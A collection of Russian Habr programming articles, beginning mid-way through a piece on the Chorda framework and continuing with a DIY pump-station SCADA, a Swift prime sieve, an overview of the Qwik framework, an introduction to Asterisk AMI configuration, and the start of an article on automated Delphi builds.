this.opt('text', v)
}
},
$numCups: {
cupsChanged: function (v) {
this.opt('text', v + ' cups')
}
}
}
},
$component2: {
scope: {
drink: 'Tea' // подменяем в нашем скоупе переменную drink
},
drinkChanged: function (v) {
// привязываем значения переменной drink к опции text
this.opt('text', v)
}
}
})
// получим в итоге
//
//
//
// Coffee
// 2 cups
//
//
// Tea
//
```
Самый сложный момент для понимания в том, что контекст у каждого компонента свой, а не тот, что объявлен на самом верху структуры, как мы обычно делаем при работе с шаблонами.
### Что там было насчет перегрузки опций?
Наверняка вы сталкивались с ситуацией, когда есть большой компонент и в нем необходимо изменить маленький вложенный компонентик где-то глубоко внутри. Говорят, что тут должна помочь грануляция и композиция. А еще, что компоненты и архитектуру надо сразу проектировать правильно. Ситуация становится совсем печальной, если большой компонент не ваш, а является частью библиотеки, разрабатываемой другой командой или вообще независимым комьюнити. Что, если бы могли легко внести изменения в базовый компонент, даже если они не были запланированы изначально?
Обычно компоненты в библиотеках оформляются как классы, тогда их можно использовать в качестве основы для создания новых компонентов. Но здесь скрыта одна маленькая особенность, которая мне никогда не нравилась: иногда мы создаем класс только для того, чтобы применить его в одном единственном месте. Это странно. Я, например, привык использовать классы для типизации, выстраивания отношений между группами объектов, а не решать с их помощью задачу декомпозиции.
Посмотрим как в Chorda классы работают с конфигурацией.
```
// оформим нашу карточку как класс
class Card extends Html {
config () {
return {
css: 'box',
$header: {},
$content: {},
$footer: {}
}
}
}
const html = new Html({
css: 'panel',
$card: {
as: Card,
$header: {
// добавляем в шапку карточки кастомный компонент title
$title: {
css: 'title',
text: 'Card title'
}
}
}
})
```
Мне этот вариант нравится больше, чем создание специального класса TitledCard, который будет использован только единожды. А если понадобится вынести часть опций, то можно воспользоваться механизмом примесей. Ну и Object.assign никто не отменял.
В Chorda класс по сути является контейнером для конфигурации и играет роль особого вида примеси.
### Почему еще один фреймворк?
Повторюсь, что на мой взгляд фреймворк это скорее про образ мысли и опыт, чем про технологию. Мои привычки и DX просили декларативности на JS, которой я не мог найти в других решениях. Но реализация одной фичи потянула за собой новые, и они через некоторое время просто перестали умещаться в рамках специализированной библиотеки.
На данный момент Chorda находится в активной разработке. Основные направления уже видны, но в деталях происходят постоянные изменения.
Спасибо за то, что дочитали до конца. Буду рад отзывам.
### Где можно посмотреть?
[Документация](https://eliace.github.io/chorda-docs/#/GettingStarted)
[Исходники на GitHub](https://github.com/eliace/chorda/tree/master/packages/chorda-core)
[Примеры на CodePen](https://codepen.io/collection/DkGzvo) | https://habr.com/ru/post/480856/ | null | ru | null |
# МиниSCADA своими руками
Однажды, мне позвонили и спросили – могу ли я сделать маленькую автоматизацию для канализационной насосной станции (КНС)? Толком ничего не выспросив и положив трубку я стал раздумывать что и как сделать.
Являясь специалистом по SCADA более 10-ти лет, в основном по продуктам томской компании «Элеси», мне сразу пришло в голову использовать какой-нибудь известный пакет типа TraceMode и ему подобным. Однако, встретившись с заказчиком и узнав более подробно, что ему нужно, я решил не использовать готовые пакеты.
Задача была проста: исключить бабушку, сидящую в здании КНС и наблюдающую за периодическим процессом раскачки емкости со сточными водами. Насосами управлял ПЛК фирмы Modicon в составе какого-то российского щита управления. Бабушка требовалась на случай аварии насосов, чтобы сообщить ремонтной бригаде и не допустить перелива емкости. Контроль должен был осуществляться дистанционно, функций управления не требовалось.
Достав документацию по щиту автоматики с радостью обнаружил там описание регистров контроллера с побитовой раскладкой сигналов. Ну, информация есть, дело за малым – реализовать.
##### Организация связи
Было решено контролировать работу КНС в браузере через интернет. Тут же появилась задача – каким образом передать данные с КНС, находящейся на задворках одного из районов города? Интернет туда не проведешь, да и глупо это, пришлось бы ставить туда компьютер. ПЛК в щите имел интерфейс RS-485 и поддерживал протокол Modbus (что естественно, т.к. этот протокол и был создан фирмой Modicon).
После долгого гугления на глаза попалось вот такое устройство:
CCU-Wireless COM
Устройство представляет из себя GSM удлинитель COM порта, поддерживает RS-232, RS-485 и RS-422 интерфейсы. Предлагает его НПО «Сибсвязь», а кто разрабатывает, я так и не понял. Обошлось оно в 15 тысяч рублей. Дополнительно была приобретена GSM антенна. В прибор установили симку билайн с тарифом «Телеметрия».
Предприятие уже имело веб-сервер (IIS), поэтому дополнительных затрат не потребовалось. На веб-сервер был установлен драйвер com-порта для связи с CCU, прибор настроен и состоялась проверка связи. С драйвером поставляется программа мониторинга порта, поэтому было сразу видно, что прибор связывается с сервером и мы получаем у себя в системе com-порт, как бы физически подключенный к контроллеру. Теперь с ПЛК можно работать напрямую.
##### Серверная часть
Каким-то образом нужно было передать данные с com-порта в MySQL базу. Имея небольшие навыки в программировании на VB6 и знание Modbus протокола была написана программа, считывающая регистры с ПЛК и записывающая их в текстовый файл. Прямую запись в базу я не сделал исключительно из-за лени и пары неудачных попыток подружить VB6 с MySQL и еще из-за чего-то, уже не помню. Из-за этого пришлось делать костыль, который работает уже 4-й год и не ломается.
Считывать данные с текстового файла было поручено скрипту на PHP, который запускался с помощью nnCron по изменению времени записи файла.
В базе были созданы таблицы алармов, названий событий, их важность и т.д. – все, как у взрослых систем. Считывающий скрипт раскладывает в базу все по битам и посылает смс, если сработало нужное событие.
##### Клиентская часть
Клиентская часть представляет собой обыкновенный браузер. Подключаемся по нужному адресу и видим такую картинку:
Картинка нарисована в TraceMode и используется в качестве бэкграунда. Активные элементы это блоки div поверх картинки. Информация обновляется каждые 15 секунд, что даже очень часто, т.к. запуск-останов насосов происходит примерно раз в 40 минут.
Здесь мы видим, что два насоса находятся в автоматическом режиме, нули рядом с насосами это потребляемый ток. В емкости сработал датчик первого уровня.
Информация в браузер приходит посредством AJAX в виде xml:
```
pump1\_on
2012-10-04 16:09:05
Работа
B
насос 1 включен
1
0
pump1\_man
2012-10-04 16:09:05
Ручной
B
насос 1 ручной режим
0
0
…
…
```
В соответствии с параметром data каждого сигнала меняется стиль блока , таким образом, он расцвечивается в реальном времени в зависимости от события. Внизу сделано окно, в котором в текстовом виде отображаются события. В данном скриншоте при первом запуске прогружаются все события, чтобы правильно отобразить состояния агрегатов, далее приходят только те сигналы, которые были изменены, что экономит трафик.
При отладке системы столкнулся с проблемой кеширования браузером данных, что мне совсем было не нужно. Проблему решил путем добавления в url рандомного значения:
var url = «update.php?=»+Math.random();
Сигнал «нет связи» формируется при отсутствии ответа от ПЛК в течение 20 минут. При этом посылается смс обслуживающему инженеру. Связь может отсутствовать по причине «забыли положить денег на симку» и отсутствия напряжения в здании КНС.
Кнопка «История» открывает окно истории событий.
Кнопка «Сводка» открывает окно сводки запуска насосов.
В процессе эксплуатации выяснилось, что на экран никто не смотрит, поэтому рисовать все эти красивости и реализовывать отображение а-ля настоящая SCADA не было нужды. Все, что делает оператор – это открывает время от времени историю событий и смотрит, какие были аварии, и в конце месяца вносит в отчет данные по наработкам насосов.
Итог:
Решение работает без сбоев уже четвертый год. Бабушка была уволена, современные технологии победили старость.
Подобным способом можно организовать контроль и управление домашней автоматизацией без использования сторонних программных продуктов. | https://habr.com/ru/post/153619/ | null | ru | null |
# Swift: решето Эратосфена
Это будет совсем небольшая публикация, на которую меня вдохновила [эта статья.](https://habr.com/ru/post/450604/) Нет, я не собираюсь соревноваться с предложенным там решением (разве что в краткости), но, может быть, как демонстрация возможностей Swift, она будет интересна хабрасообществу.
Решение абсолютно повторяет описанный [в Википедии](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0) алгоритм, безо всяких модификаций.
```
import Foundation
// квадрат числа
extension Int {
func powerOf2() -> Int {
return self * self
}
}
// до скольки считаем?
let max = 8_500_000
// первое простое число
var testValue = 2
let startTime = Date()
// заполняем массив
var data = (2...max).map{$0}
let allocationTime = Date()
// вычисления
while (testValue.powerOf2() <= max) {
data.removeAll(where: {$0 >= testValue.powerOf2() && $0.isMultiple(of: testValue)})
testValue = data.first(where: {$0 > testValue})!
}
let overallTime = Date()
// выводим результаты
print("Всего \(data.count) простых чисел: ", data)
print()
print("Выделение массива: \(String(format: "%.2f",(allocationTime.timeIntervalSince(startTime)))) с. ")
print("Вычисления: \(String(format: "%.2f",(overallTime.timeIntervalSince(allocationTime)))) с. ")
print("Всего: \(String(format: "%.2f",(overallTime.timeIntervalSince(startTime)))) с. ")
```
Желающие могут поиграться с этим [в этой песочнице.](http://online.swiftplayground.run/) Максимум, который мне удалось выжать там — в районе 8 500 000, поиск выполняется около 6 секунд. К сожалению, запуск этого кода в плэйграунде на моем Mac Mini Late 2014 (Core i5, 8 ГБ) уже с параметром max = 1 000 000 приводит к диким тормозам, так что будьте осторожны. По приведенной выше ссылке все крутится значительно шустрее. | https://habr.com/ru/post/450888/ | null | ru | null |
# Все, что вы хотели знать про Qwik — новый фреймворк от создателя Angular
В начале мая, [Misko Hevery](https://twitter.com/mhevery), создатель фреймворка [Angular](https://angular.io/), [объявил](https://twitter.com/mhevery/status/1389649693630631936) о своем уходе из Google и команды Angular - в компанию [builder.io](https://www.builder.io/).
Всего через полтора месяца, на его [странице в dev.to](https://dev.to/mhevery/), появился Анонс нового фреймворка - [Qwik](https://dev.to/mhevery/a-first-look-at-qwik-the-html-first-framework-af).
Я решил разобраться, что он из себя представляет и зачем нужен.
Qwik сейчас на стадии `proof of concept`, доков очень мало и нет соответствующей инфраструктуры, и даже неясно, выстрелит он или нет, но уже понятны основные идеи, и можно потрогать код.
Давайте разберемся, что интересного он нам принесет, и придется ли нам учить новый фреймворк (спойлер: пока рановато).
### Зачем нужен Qwik?
Основная задача Qwik, - как можно догадаться из названия, - быть очень быстрым !
Дело в том, что с мая этого года, Google [начал учитывать производительность](https://developers.google.com/search/blog/2020/11/timing-for-page-experience) приложения при поисковой выдаче. В частности, оценка считается с помощью набор метрик [Web Vitals](https://web.dev/vitals/).
Большинство современных фреймворков могут, с помощью Server Side Rendering, получить быстрые [First Contentful Paint](https://web.dev/first-contentful-paint/) и большинство других метрик, однако одна метрика им пока не покоряется - [Time to interactive](https://web.dev/interactive/).
Все дело в том, что после отправки HTML сгенерированного на сервере, необходимо также загрузить фреймворк и код приложения, запустить его, и только после этого можно обрабатывать события.
Эту проблему и пытается решить Qwik.
#### Что такое умеет делать Qwik?
Qwik позволяет написать код который будет переиспользован на сервере и на клиенте, при этом на клиент код будет подгружаться непосредственно перед выполнением.
Работает это вот [так](https://github.com/BuilderIO/qwik/blob/main/docs/BOOTSTRAP.md):
* При первом рендере, сервер сериализует все данные в атрибуты HTML узлов
* Затем подгружается маленький (0.5 кб, 1ms запуск) загрузчик Qwik, который подписывается на все события.
* Все обработчики событий хранят в себе только текстовую ссылку на файл с обработчиком, никакого кода.
* Сам код подгружается только по мере необходимости, например когда пользователь запускает событие.
* Если клиенту нужен доступ к состоянию используемому на сервере, его можно получить из DOM дерева.
#### Что если у меня плохой инет? Придется ли ждать загрузки кода на каждое действие?
На данный момент - да. В будущем это можно будет оптимизировать, - например, подгружать обработчики кликов при наведении мыши, или загружать заранее наиболее используемые обработчики (как [guess.js](https://github.com/guess-js/guess))
#### Так ли важен Time to interactive, это вообще реальная проблема?
Метрика [Time to interactive](https://web.dev/tti/) названа не очень удачно, на самом деле она меряет время последней задачи которая заняла более 50 миллисекунд.
Чтобы понять, насколько она важна, можно глянуть на [калькулятор](https://googlechrome.github.io/lighthouse/scorecalc/#FCP=1000&SI=1000&FMP=4000&TTI=1000&FCI=6500&LCP=1000&TBT=0&CLS=0&device=mobile&version=8) и посмотреть, как именно эта метрика влияет на конечную оценку.
Хотя вес в оценке всего 10%, можно предположить, что остальные метрики будут легко доводиться до максимальных значений с помощью обычного `SSR` и, в этом случае, именно Time to interactive может позволить получить преимущество.
Решение такой проблемы, будет наиболее востребовано в интернет магазинах и в коммерческих сайтах, особенно учитывая что у крупнейших игроков рынка результат сейчас в пределах 20-70 из 100.
Свой сайт в можете проверить [тут](https://web.dev/measure/), а Habr.com получил оценку 29.
Про остальные метрики Web Vitals можно прочитать [тут](https://web.dev/metrics/).
#### Почему бы просто не проапгрейдить существующий фреймворк?
На данный момент, архитектура других фреймворков, не позволяет им реагировать на события без инициализации фреймворка и приложения на клиенте.
Возможно в будущем, после добавления соответствующих архитектурных изменений, подобная функциональность появится и у других фреймворков.
Мишко даже [выступал на эту тему](https://www.youtube.com/watch?v=-kYtw3CSe6s&t=796s) несколько лет назад по отношению к Angular, но отметил, что он просто размышляет и конкретных планов на имплементацию на тот момент не было.
#### А нет ли других фреймворков, которые уже решают эту задачу?
`Qwik` - не первый фреймворк, который пытается победить `Time to Interactive.`
Например есть [Markojs.com](https://markojs.com/) - от Ebay, который пытался решить эту задачу другим способом, но его создатель покинул проект, и сейчас в core team лишь пара человек, которые сфокусированы на поддержке внутри компании. Кстати, один из core разработчиков Marko теперь помогает с `Qwik`.
Также есть [Astro.js](https://astro.build/blog/introducing-astro), но они пытаются решить эту проблему не на уровне обработчиков событий, а на уровне кусков приложения (islands)
### Что за название такое?
Фреймворк решили назвать `Qwik`, по аналогии со словом скорость (quick), как по мне - название не очень удобное:
* Плохо гуглится, т.к. Есть несколько компаний с похожим названием
* Github адрес занят ([monorepo](https://github.com/BuilderIO/qwik/) лежит в организации builder.io), та же фигня с [npm](https://www.npmjs.com/package/@builder.io/qwik).
Изначально фреймворк хотели называть qoot, но потом переименовали.
### Хватит болтать, покажите мне код!
Разработчики выложили TODO приложение, в котором можно покопаться и оценить часть архитектурных решений, глянуть можно в [StackBlitz](https://stackblitz.com/edit/qwik-todo-demo), (ура, отличная возможность потестить новые [Web Containers](https://blog.stackblitz.com/posts/introducing-webcontainers/)) или на [Github](https://github.com/mhevery/qwik-todo-demo).
Весь код, и клиента и сервера, лежит в одном месте и переиспользуется, давайте посмотрим на компонент заголовка - [Header](https://github.com/mhevery/qwik-todo-demo/blob/master/src/ui/Header_template.tsx):
```
import { jsxFactory, QRL, injectMethod } from '../qwik.js';
import { HeaderComponent } from './Header_component.js';
export const _needed_by_JSX_ = jsxFactory; // eslint-disable-line @typescript-eslint/no-unused-vars
export default injectMethod(
HeaderComponent, //
function (this: HeaderComponent) {
return (
<>
todos
=====
);
}
);
```
Первое что бросается в глаза - [JSX](https://reactjs.org/docs/introducing-jsx.html) (что забавно видеть от создателя Angular), с одной стороны это хорошо, потому что синтаксис многим знаком, с другой стороны, это может усложнить жизнь разработчика фреймворка. Скорее всего, по мере развития, когда понадобится дополнительная гибкость, им придется писать свой собственный трансформатор. (Так же см. [новую статью](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=45) [@nin-jin](/users/nin-jin) про шаблоны, где он ругает JSX)
В каждом шаблоне обязательно присутствует такой код:
```
export const _needed_by_JSX_ = jsxFactory; // eslint-disable-line @typescript-eslint/no-unused-vars
```
Но он уйдет, когда разработчики начнут использовать новый [JSX transform](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html)
Также разработчики не забывают про директивы (как в `Angular`), например в коде есть такой `TODO`
```
// TODO: Create QFor and QIf directive?
} />
} />
```
#### Обработчики событий
Все обработчики событий лежат в своих собственных файлах, и при добавления событий используется ссылка на этот `файл#имя функции:`
Подробно про формат этой сложнющей штуки можно прочесть [тут](https://github.com/BuilderIO/qwik/blob/main/docs/QRL.md), а пока давайте разберем что мы видим:
* `QRL` - Специальный [Template Literal Tag](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates), используемый для всех ссылок
* `ui:/` - Namespace, может быть задан пользователем, или прийти из либы, наприме qwik:/ для методов фрейворка.
* `/Header_addTodo` - путь к файлу где лежит обаботчик
* `#addTodo` - имя функции, которую нудно запустить
* `?value=` - Как и в обычной ссылке можно передать какие-то параметры (`query params`)
* `.target.value` - значение инпута, относительно Event
Сам код обработчика выглядит так, и использует внедрение зависимостей:
```
export const addTodo = injectEventHandler(
HeaderComponent,
provideQrlExp('value'),
provideQrlExp('code'),
provideProviderOf(provideEntity(TodoEntity.MOCK\_USER)),
async function (
this: HeaderComponent,
inputValue: string,
charCode: string,
todoEntity: () => Promise
) {
if (charCode === 'Enter' && inputValue) {
(await todoEntity()).newItem(inputValue);
this.$state.text = '';
markDirty(this);
}
}
);
```
#### Внедрение зависимостей
Dependency Injection в Qwik используется повсеместно (привет из Angular)
Есть несколько методов позволяющих внедрить зависимости, например:
`InjectFunction` - Помимо основных зависимостей позволяет получить доступ к параметрам переданным по ссылке (`?value=.target.value`в примере выше), для этого можно использовать токен `provideQrlExp('value')`.
`injectMethod` - (как раз в примере выше) то же самое, только дополнительно внедряет контекст функции (`this`), это позволяет функциям лежать в отдельных файлах, но при этом вести себя будто они часть класса.
`InjectEventListener` - то же самое, плюс доступ к значению `Event` события
Подробнее можно посмотреть [в коде](https://github.com/BuilderIO/qwik/tree/main/src/core/injector).
#### Сущности/Гидрация
Чтобы переиспользовать код, между клиентом и сервером, Qwik использует умную систему сущностей ([Enitity](https://github.com/BuilderIO/qwik/blob/2d79d929a7b4bba1ba14e056f4a5cb1b3d967f31/src/core/entity/entity.ts#L18)): Каждая сущность, уходящая с севера (например TodoListEntity, или TodoItemEntity) привязана к DOM узлу. Её состояние сериализуется и сохраняется в атрибуте этого узла, привязанном к ID сущности.
Это позволяет восстановить на клиенте сущность, которая была сгенерирована на сервере.
#### Change Detection
Интересно сделано Change Detection: при изменении данных необходимо вызвать функцию `markDirty` (прямо как в Angular Ivy), передав туда `DOM элемент`, `Entity` или `компонент`. Функция найдет все затронутые `DOM` узлы, добавит им атрибут `on:q-render` и запланирует `change detection cycle` через `requestAnimationFrame` .
Во время `change detection cycle` , узлы, которые нужно обновить, будут получены с помощью простого `querySelectorAll('[on:q-render]')`
Так как все сущности привязаны к DOM, мы можем пометить сущность как измененную и все соотвествующие DOM элементы также обновятся
#### Взаимодействие между компонентами
**Передача значений детям:**
Передавать значения, как и в большинстве фреймворков, можно через свойства:
А получать в обработчике через DI:
```
export const Item = injectFunction(
provideEntityState(
provideComponentProp('$item')
),
function ItemTemplate(item: Item) {
// code
}
);
```
**Получение значений от детей**
В примере ниже, мы используем функцию `emitEvent` из `Qwik`, которая позволяет отправить событие `open` родительскому компоненту.
Родительский компонент может слушать `on:open` и запустить соответствующий обработчик
```
open
```
### С кодом понятно, готово ли это к использованию?
Проект находится в очень ранней стадии, v1 за горами, так что на настоящем проекте использовать это не рекомендуется никому:
* Документация минимальная, хотя код неплохо прокоментирован
* Поддержки IDE нет, а тут она явно нужна (можно глянуть, как подсветка синтаксиса сломана в примерах, в этой статье)
* Не работает в Firefox
* Не используется [нигде](https://github.com/BuilderIO/qwik/network/dependents?package_id=UGFja2FnZS0yMzI4NjMxNzQw)
### Откуда я знаю, что завтра Qwik не перестанут поддерживать?
Angular поддерживается Google, React поддерживается Facebook, но даже большая компания не позволяет на 100% предсказать судьбу проекта, достаточно глянуть на flow или [killedbygoogle](https://killedbygoogle.com/)
Qwik поддерживается компанией Builder.io, они основаны в 2017 и у них [на гитхабе](https://github.com/BuilderIO) есть несколько небольших проектов, которые они успешно поддерживают сохраняя количество Issues в разумных пределах, например [jsx-lite](https://github.com/BuilderIO/jsx-lite) или [builder](https://github.com/BuilderIO/builder),
Смогут ли они справиться с большим проектом, если Qwik выстрелит - покажет время.
### Где rxjs?
Резонный вопрос, видимо пока применения тут не нашлось.
### Где я могу узнать больше?
Вся документация [тут](https://github.com/BuilderIO/qwik/blob/main/docs), а Мишко обещал целый цикл статей [в своем блоге](https://dev.to/mhevery), можно также зайти в [Discord](https://discord.gg/JHVpZmqSs4) проекта, задать вопросы и может быть даже чем-то помочь.
### Заключение
В этой статье мы рассмотрели идеи, предложенные разработчиками Qwik.
К API и к некоторым техническим решениям есть много вопросов, да и учить новый фреймворк пока рано, а вот задуматься над идеями и перестроить свою ментальную модель - самое время.
Благодарности
-------------
Эта статья была написано публично на моем [стриме](https://t.me/kirjs_ru/218), там можно глянуть весь процесс, и много интересных деталей, не вошедших в эту статью.
Я также хочу выразить благодарность всем, кто участвовал в написании, подсказывал и задавал вопросы, ну и большое спасибо всем, кто дочитал это до конца! | https://habr.com/ru/post/564990/ | null | ru | null |
# Asterisk Managment Interface (AMI), Часть 1
AMI — мощный и удобный программный интерфейс (API) Asterisk для управления системой из внешних программ. В дополнение к AMI, часто используется AGI — это интерфейс для запуска внешних приложений, управляющих каналом Астериска в рамках конкретного вызова. Благодаря AMI внешние программы могут осуществлять соединения с Астериском посредством TCP протокола, инициировать выполнение команд, считывать результат их выполнения, а так же получать уведомления о происходящих событиях в реальном времени. Этими механизмами можно пользоваться, например в следующих случаях:
* Необходимо узнать состояние системы
* Количество активных абонентов
* Выполнять команды CLI удаленно
* Улучшить хранение CDR
* … и многое другое
AMI часто используют для интеграции с бизнес-процессами и системами, программным обеспечением CRM (Customer Relationship Managment — управление взаимодействия с клиентами). Он также может применяться для разнообразных приложений, таких как программы автоматического набора номера и системы click-to-call (звонок-по-щелчку).
Управление Астериском часто осуществляется из консоли CLI, но при использовании AMI не требуется прямой доступ к серверу, на котором запущен Астериск. AMI — это наиболее простой инструмент, который в руках разработчика может оказаться очень мощным и гибким средством для интеграции с другими программными продуктами. Он дает возможность разработчикам использовать информацию, генерируемую Астериском, в реальном масштабе времени.
Стоит так же отметить, что Астериск начиная с версии 1.6 использует интерфейс менеджера версии 1.1. В основном изменения коснулись объединения множества однотипных команд и стандартизации ответов, выдаваемых различными модулями. Выяснить версию интерфейсам можно с помощью команды CoreSettings. Версия может меняться в дальнейшем, если интерфейс AMI будет терять полную совместимость с предыдущими версиями.
Как работает AMI
================
Между сервером Астериск и клиентской программой для установления связи используется простой по-строчный протокол, каждая строка сообщения которого состоит из двух строк:
* key — ключевое слово, описывающее характер информации, содержащейся в текущей строке. Ключевое слово не является уникальным и может встречаться несколько раз в рамках одной посылки
* value — значение параметра
* Ключевое слово от значения отделяется двоеточием
Далее мы будем использовать термин «пакет», что будет описывать серию конструкций «key:value», разделенных CRLF и завершеных дополнительной последовательностью CRLF.
Протокол взаимодействия между Астериском и клиентом можно описать следующими характеристиками:
* Перед тем как посылать команды в сервер Астериск, необходимо выполнить сессию соединения клиента с сервером Астериск;
* Пакеты могут быть переданы в любой последовательности и в любое время после прохождения процедуры аутентификации;
* Первая строка пакета должна содержать один из следующих ключей: «Action» (единственный вариант при отправки клиентом), и ключи «Event» (Событие) и «Response» (Ответ) (должны быть отправлены от Астериска к клиенту);
* Порядок строк в пакете не имеет значения, вы можете использовать любой язык программирования, которым можно формировать пакеты на стороне клиента;
* CRLF используется для разделения каждой из строк в пакете и двух последовательностей CRLF (она же \r\n) для того, чтобы обозначить завершение передачи команды в Астериск
AMI принимает подключения, устанавливаемые на сетевой порт (по умолчанию — TCP порт 5038). Клиентская программа подключается к AMI через этот порт и аутентифицируется, после этого Астериск будет отвечать на запросы, а также отправлять извещения о изменениях состояния заданных подсистем
Типы пакетов
Пакет, передаваемый от клиента в Астериск сервер и назад определяется следующими ключевыми характеристиками:
* Action, пакеты отправляемые клиентом, соединенным с AMI. После обработки сервером такого пакета будет осуществлено некоторое действие. Существуют относительно гибкие ограничения на действия, осуществляемые клиентом. Один пакет — одно действие. В пакете Action должно содержаться имя операции, которую необходимо выполнить, а также все необходимые параметры;
* Response, определяет ответ, отсылаемый Астериском клиенту по факту выполнения действия;
* Event, данные, относящиеся к событию, которое сгенерировано внутри ядра Астериска или модуля расширения.
Как правило, клиент отсылает пакеты Action в Астериск (они так же называются коммандами). Астериск, в свою очередь, выполняет запрос и возвращает результат (часто результат — успешность действия с кратким описанием в случае неудачи), получаемое в пакете Response. Нет гарантии касательно порядка прихода результатов (пакетов Response), поэтому в клиентском запросе обычно включают параметр ActionID в каждый пакет Action, при этом соответствующий пакет Response будет содержать такое же значение в поле ActionID. Таким образом, клиент может очень легко обрабатывать Action и Response пакеты, в любом желаемом порядке, не ожидая пакетов Response, чтобы произвести следующее действие.
Следующая команда CLI (работает автодополнение Tab'ом) поможет получить полный списко команд AMI, доступных в вашей версии Астериска:
`*CLI> manager show commands`
Пакеты Response. Как написано выше, служат ответами на переданные команды. Передается один ответ на команду и может нести несколько значений:
* «Success» — действие успешно и вся информация содержится в данном пакете
* «Error» — произошла ошибка, подробное описание в заголовке «Message»
* «Follows» — результат выполнения будет передан в последующих Event пакетах
Event пакеты (события) применяются в двух контекстах. С одной стороны — они информируют клиента об изменении состояния подсистем Астериска (пр. изменения состояния канала), с другой стороны — они переносят набор данных, который возвращает Астериск в ответ на действие Action.
* Когда клиент отсылает пакет Action, Астериск может (в случаях если требуется вернуть много однородных записей) отправить Response пакет, содержащий толко запись «Response: Follows». Далее Астериск отсылает некоторое количество событий, содержащих набор данных и, наконец, событие, которое сообщает, что все данные были отправлены. Все генерируемые при этом пакеты Event содержат ActionID первоначального пакета Action, который инициировал запрос. Таким образом, можно легко обрабатывать их, как и пакеты Response. Пример события, генерируемого Action'ом — это Action Status, который инициирует событие Status для каждого из активных каналов. После передачи всех событий Status, отправляется событие StatusComplete.
* События создаются различными структурными частями Астериска (каналы SIP/IAX2/…, CDR, диалплан, различные части ядра). Основная задача, которая возложена на события, позволить внешней присоединенной системе получить информацию от Астериска, собирая эти все события, анализируя их и выполняя действия в зависимости от полученных результатов.
События не документированы в CLI, поэтому подробную информацию можно найти в документации (файл manager\_1\_1.txt), на сайте voip-info.org. Если всё-таки остается впечатление, что какое-то событие не описано, но должно быть — можно найти всевозможные события в исходном коде соответствующего модуля по имени функции — manager\_event
Перед тем как перейти к практическим примерам, стоит отметить, что начиная с версии 1.6 Астериска интерфейс AMI приобрел номер версии 1.1. Это связано с приведением формата команд к единому формату и частичной потерей совместимости. Статья будет освещать работу версии 1.6, там где различия существуют пояснения будут даны в скобках.
Безопасность
Так как возможности по управлению работой системы, предоставляемые через AMI интерфейс, практически безграничны. Кроме не шифрованного пароля и возможности ограничить доступ к AMI с тех или иных ip-адресов, в интерфейсе Manager (так еще его называют) нет других средств обеспечения безопасности, поэтому крайне не рекомендуется использовать его на публичных IP адресах.
Если же использование из публичной сети необходимо, то необходимо проследить чтобы доступ был ограничен с помощью iptables или производился через VPN туннели любого типа. Доступ к AMI интерфейсу так же может быть получен через встроенный HTTP(S) сервер, настраивается доступ в файле http.conf. Стоит заметить что по-умолчанию интерфейс AMI запрещён, ровно как и работа с ним через HTTP сервер.
Так же в ненадежной сети, если требуется предоставить доступ конечному пользователю к AMI (например, функциональность click-2-call через TAPI), для обработки всех соединений с API интерфейса Manager, рекомендуют использовать программу AstManProxy. О нём в другой раз.
Конфигурация AMI
================
Для того, чтобы использовать интерфейс AMI, необходимо отредактировать файл /etc/asterisk/manager.conf, который отвечает за настройку.
`[general]
enabled=yes ; возможность работать с AMI (по-умолчанию no)
port=5038 ; на порту TCP 5038
bindaddr=192.168.0.1 ; принимать соединения в локальной сети (0.0.0.0 - на всех интерфейсах)
timestampevents = yes ; Отправлять в пакетах событий временную метку
displayconnects = yes ; Отображать факт подключения пользователя к AMI
allowmultiplelogin = yes ; Разрешить несколько параллельных подключений с одним именем
; Начало секции, описывающей пользователя
[admin] ; имя пользователя, которое определяется администратором Астериска
secret=passwd1234 ; пароль пользователя AMI
deny=0.0.0.0/0.0.0.0 ; запретить все ip-адреса
permit=192.168.0.2/255.255.255.0 ; разрешить соединение только с одного ip
read=system, call, log, verbose, command, agent, user ; список передаваемых пользователю классов событий
write=system, call,log, verbose, command, agent, user ; список разрешенных классов команд`
Секция [general] определяет общие настройки подключения. Активирует AMI опция enabled=yes. Примечание: Чтобы настройки вступили в силу, необходимо сделать перегрузку AMI:
`*CLI>module reload manager`
или
`*CLI>manager reload`
С помощью опций deny и permit можно указать ip-адреса, с которых возможно осуществлять подключение к Астериску. Можно добавить еще пользователей системы (скопировав секцию начиная с квадратных скобок) и назначить им права доступа:
* read — права на чтение;
* write — права на запись.
В указанном выше примере, пользователю admin были даны обширные права, вплоть до остановки сервиса Астериск (за это отвечает опция command). В последующих версиях (1.6.1 и позже) запрещено использовать в AMI команды, которые могут привести к остановке астериска.
Ссылки
======
* [Документация по изменениям в AMI 1.1](http://svn.digium.com/svn/asterisk/trunk/doc/manager_1_1.txt)
* [Файл конфигурации (trunk)](http://svn.digium.com/svn/asterisk/trunk/configs/manager.conf.sample)
* [Описание AJAM](http://www.voip-info.org/wiki/view/Aynchronous+Javascript+Asterisk+Manager+(AJAM))
* [AstManProxy](http://www.voip-info.org/tiki-index.php?page=AstManProxy) | https://habr.com/ru/post/64105/ | null | ru | null |
# Автоматизированная сборка Delphi-приложения
Я довольно часто сталкивался с тем, что разработчики на Delphi (можно сказать традиционно) компилируют свои приложения "ручками", что далеко не production-решение, а со стороны выглядит кустарщиной и *"делаем на-коленке"*, хотя продукты бывают весьма серьёзными и продаваемыми. Вероятно, это пошло ещё с тех пор, когда для автоматизации нужно было придумывать свои *батнички*, которые запускали компилятор командной строки `dcc32` с нужными параметрами. *Некоторые даже сделали свой "Публикатор" — Delphi-expert, который делает работу сервера сборок: компилирует (правда, открытый в IDE) проект, выставляя ему взятый из какой-то БД инкрементированный номер версии, записывает некий changelog и копирует это куда-то в сетевой каталог*.
Я не буду вдаваться в исторический экскурс *как было раньше*. Я расскажу как есть/можно сейчас, и как это использовать для повышения эффективности своей работы.
